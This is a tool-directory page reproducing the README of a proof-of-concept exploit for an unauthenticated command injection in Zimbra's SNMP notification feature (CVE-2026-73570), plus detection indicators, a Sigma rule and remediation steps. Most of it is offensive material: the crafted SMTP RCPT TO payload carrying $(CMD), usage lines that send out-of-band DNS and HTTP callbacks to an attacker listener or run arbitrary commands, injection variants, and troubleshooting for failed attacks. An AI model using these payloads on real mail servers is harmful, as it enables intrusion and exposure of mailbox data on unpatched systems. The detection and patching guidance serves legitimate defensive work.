Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/hainhc/cve-2026-73570
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingIncident ResponseEmail Security
GitHubhainhc/cve-2026-73570

CVE-2026-73570

Proof-of-concept exploit for CVE-2026-73570, an unauthenticated OS command injection in Zimbra Collaboration Suite via zimbra-snmp log injection, with detection guidance.

View Repository
0 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-73570 — Zimbra zimbra-snmp Unauthenticated OS Command Injection PoC

Proof-of-concept exploit for CVE-2026-73570, an unauthenticated OS command injection (CWE-78, CVSS 8.9) in Zimbra Collaboration Suite < 10.1.20 when the zimbra-snmp package is installed and SNMP notifications are enabled.

Disclaimer: This PoC is intended only for authorized security testing, defensive research, and validation of your own systems. Do not use it against any system you do not own or have explicit written permission to test.

Vulnerability mechanism

Zimbra's SNMP notification feature uses swatchdog to monitor /var/log/zimbra.log for service events. When a log line matches its watch pattern, the matched text is interpolated into a shell command that sends the SNMP notification — without sanitization.

The attack chain:

root@kitploit:~
1. Attacker sends an SMTP session with a crafted RCPT TO address:

   RCPT TO:<"x: Service status change: localhost $(CMD)
            changed from stopped to running"@cve.invalid>

   The local part is an RFC 5321 quoted-string, so Postfix accepts the
   address syntax (spaces, colons, $(...) included).

2. Postfix rejects the recipient (relay denied / user unknown / sender
   restriction) and writes the FULL to=<...> string, quotes stripped, into
   /var/log/zimbra.log:

   NOQUEUE: reject: RCPT from unknown[x.x.x.x]: ... to=<x: Service status
   change: localhost $(CMD) changed from stopped to [email protected]> ...

3. swatchdog (zimbra-snmp) periodically scans the log and matches its
   watchfor pattern "Service status change ... changed from ... to ...".

4. The matched text is interpolated into the SNMP notification shell command
   -> $(CMD) is evaluated -> command execution as the `zimbra` user.

Requirements

Target must meet all of the following:

  • Zimbra Collaboration < 10.1.20
  • zimbra-snmp package installed
  • SNMP notifications enabled (zmlocalconfig | grep -i snmp_notify)

Attacker side: Python 3 (standard library only, no dependencies).

Usage

root@kitploit:~
# 1. Verify RCE via out-of-band DNS callback (interactsh / Burp Collaborator):
python3 poc_cve_2026_73570.py -t mail.target.com --oob abc123.oast.site

# 2. Verify RCE via HTTP callback to your listener:
python3 poc_cve_2026_73570.py -t mail.target.com --oob http://10.0.0.5:8884/cb

# 3. Drop a marker file on the host (check manually on the server afterwards):
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "touch /tmp/CVE-2026-73570_pwned"

# 4. Fingerprint only (no payload sent):
python3 poc_cve_2026_73570.py -t mail.target.com --check-only

# Debug: print the full SMTP transcript
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "id" --debug

Options:

FlagDescription
-t, --targetTarget Zimbra SMTP IP/hostname (required)
-p, --portSMTP port (default: 25)
--tlsUse STARTTLS (e.g. port 587)
--oobOOB DNS domain or HTTP callback URL (recommended)
--cmdArbitrary command instead of OOB callback
--fake-hostHostname inside the fake Service status change string (default: localhost)
--check-onlyFingerprint only, send no payloads
--delayDelay between sends in seconds (default: 1.0)
--debugPrint full SMTP transcript

Verification

The script sends each command in several injection variants ($(...), backticks, ;cmd;#, $({IFS}...)). For every variant, watch the RCPT response code:

RCPT responseMeaning
250, 450, 454 Relay access denied, 550 5.1.1 User unknownAddress syntax accepted — the reject line with the full to=<...> string is now in the log. Payload planted.
501 5.1.3 Bad recipient address syntaxPostfix rejected the address at parse time — nothing useful logged. The script automatically retries with an unquoted fallback.

Then confirm on the server (if you have access):

root@kitploit:~
# The injected line must be present:
grep 'Service status change' /var/log/zimbra.log | tail
# Expected: ... to=<x: Service status change: localhost $(...) changed from stopped to [email protected]> ...

# Wait 1-5 minutes (swatchdog scans the log periodically — execution is NOT real-time),
# then check for the effect:
ls -la /tmp/                    # if you used --cmd
# or watch your OOB listener for the callback

If the log line is present but the command never executes, the remaining preconditions are on the swatchdog side: check that the process is running (ps aux | grep swatch) and that its configuration actually watches for the Service status change pattern.

Execution context: commands run as the zimbra user (not root).

Troubleshooting

  • No log lines at all: your source IP is likely blocked (fail2ban after repeated malformed attempts, or a firewall). Check fail2ban-client status, iptables -L -n | grep <your_ip>, and confirm packets reach Postfix with tcpdump -i any port 25 and host <your_ip> -nn -A.
  • Grep too narrowly: malformed addresses are logged as warning: Illegal address syntax ... in RCPT command: ... rather than a NOQUEUE: reject line. Grep by your attacker IP instead.
  • Execution delay: swatchdog polls the log on a cycle — allow 1–5 minutes before concluding failure.

Detection (for defenders)

Key indicators of successful exploitation:

  1. Log artifact (attempt): to=<*: Service status change: *$(...)* inside a Postfix reject line in /var/log/zimbra.log — virtually zero false positives, since Service status change text never legitimately appears inside a to=<> address.
  2. Process tree (high fidelity): any shell or command interpreter (sh, bash, curl, wget, nc, python, perl) spawned as a child of swatchdog / swatch.
  3. Post-exploitation: new .jsp/.jspx files under /opt/zimbra/jetty/webapps/ or /opt/zimbra/jetty_base/webapps/, unexpected files in /tmp/, new cron entries or SSH keys for the zimbra user, and outbound connections from the mail server that do not match normal mail flow.

Example Sigma rule (attempt stage):

root@kitploit:~
title: Zimbra SNMP Notification Log Injection Attempt - CVE-2026-73570
logsource:
  product: linux
  service: postfix
detection:
  sel:
    - 'to=<*: Service status change: *$(*'
    - 'to=<*: Service status change: *`*'
  condition: sel
level: high
tags:
  - attack.initial-access
  - attack.t1190
  - cve.2026.73570

Remediation

  • Upgrade Zimbra Collaboration to 10.1.20 or later.
  • If immediate upgrade is impossible: disable SNMP notifications and consider stopping/removing the zimbra-snmp package until patched.
  • This CVE is listed in CISA KEV with confirmed active exploitation — hunt back through at least 30 days of logs on any previously vulnerable system, and treat any confirmed compromise as a full mailbox data exposure.

References

  • Zimbra Security Advisories (vendor): https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
  • Zimbra 10.1.20 patch release (fix): https://blog.zimbra.com/2026/07/patch-release-update-zimbra-10-1-20/
  • NVD — CVE-2026-73570: https://nvd.nist.gov/vuln/detail/CVE-2026-73570
  • CISA Known Exploited Vulnerabilities Catalog (added 2026-08-21): https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search=CVE-2026-73570
  • CISA alert — "CISA Adds One Known Exploited Vulnerability to Catalog": https://www.cisa.gov/news-events/alerts/2026/08/21/cisa-adds-one-known-exploited-vulnerability-catalog
  • CERT Polska advisory 145/2026 (active exploitation + IoC guidance, 2026-08-17): https://moje.cert.pl/komunikaty/2026/145/aktywnie-wykorzystywana-podatnosc-w-zimbra-collaboration-suite/
  • BleepingComputer — "Critical Zimbra RCE flaw now actively exploited in attacks": https://www.bleepingcomputer.com/news/security/critical-zimbra-rce-flaw-now-actively-exploited-in-attacks/
  • Help Net Security — "Unpatched Zimbra servers are falling to CVE-2026-73570 attacks": https://www.helpnetsecurity.com/2026/08/25/zimbra-cve-2026-73570-compromised/
Download Tool